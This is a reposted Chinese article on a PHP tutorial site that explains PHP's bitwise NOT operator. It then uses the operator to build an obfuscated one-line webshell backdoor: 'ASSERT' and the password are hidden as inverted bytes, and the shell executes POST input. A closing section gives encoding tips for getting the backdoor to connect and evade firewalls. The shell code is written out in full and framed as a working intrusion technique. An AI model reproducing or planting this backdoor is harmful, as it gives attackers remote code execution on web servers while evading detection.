来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 1)PHP ~位运算符PHP:位运算符-http: www php net manual zh language operators bitwise php前一段时间老外在twitter上爆出个有趣的东西,一串疑似乱码的字符串访问后却能正常输出1337,于是便有了以下研...
1)PHP ~位运算符 PHP: 位运算符 - http://www.php.net/manual/zh/language.operators.bitwise.php 前一段时间老外在twitter上爆出个有趣的东西,一串疑似乱码的字符串访问后却能正常输出1337,于是便有了以下研究成果。
PHP 的 ini 设定 error_reporting 使用了按位的值,提供了关闭某个位的真实例子。要显示除了提示级别之外的所有错误。 php.ini 中是这样用的: E_ALL & ~E_NOTICE 具体运作方式是先取得 E_ALL 的值: 00000000000000000111011111111111 再取得 E_NOTICE 的值: 00000000000000000000000000001000 然后通过 ~ 将其取反: 11111111111111111111111111110111 最后再用按位与 AND(&)得到两个值中都设定了(为 1)的位: 00000000000000000111011111110111
2)分析并重现 这个就是当时最原始的代码实现效果: 当看到这个效果的时候最先想到的就是绕过防火墙等后门的实现,之后开始考虑这是哪种编码方式? 后来同李普君测试中发现直接使用echo ~'1';等则会直接输出以上的'乱码',方到看完PHP官方~函数的解释才恍然大悟。 那么我们便可以开始写一句话试试效果了: <?php $x=~Ÿ¬¬º«; $x($_POST[~¹¹ÏÏÏÏ]); ?> 这里定义$x变量为ASSERT,然后密码为FF0000直接链接后门便可,因为当位取反出来'乱码'后我们再取一次反即可返回正常值。
3)关于编码与免杀 当重现这个后门的时候我发现,直接Copy过来的直接HTTP状态500,源头是编码问题,上面这种'乱码'其实为西欧(ISO-8859-15)。 实际过程中我们遇到了多次后门无法链接出现500的错误均势因为编码问题,如果默认编码无法识别将编码方式保存为这种即可(GBK\UTF8\...均不能成功使用)
Author: Evi1m0 [Email: evi1m0#ff0000.cc] From: 邪红色信息安全组织 [FF0000 TeAm] |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com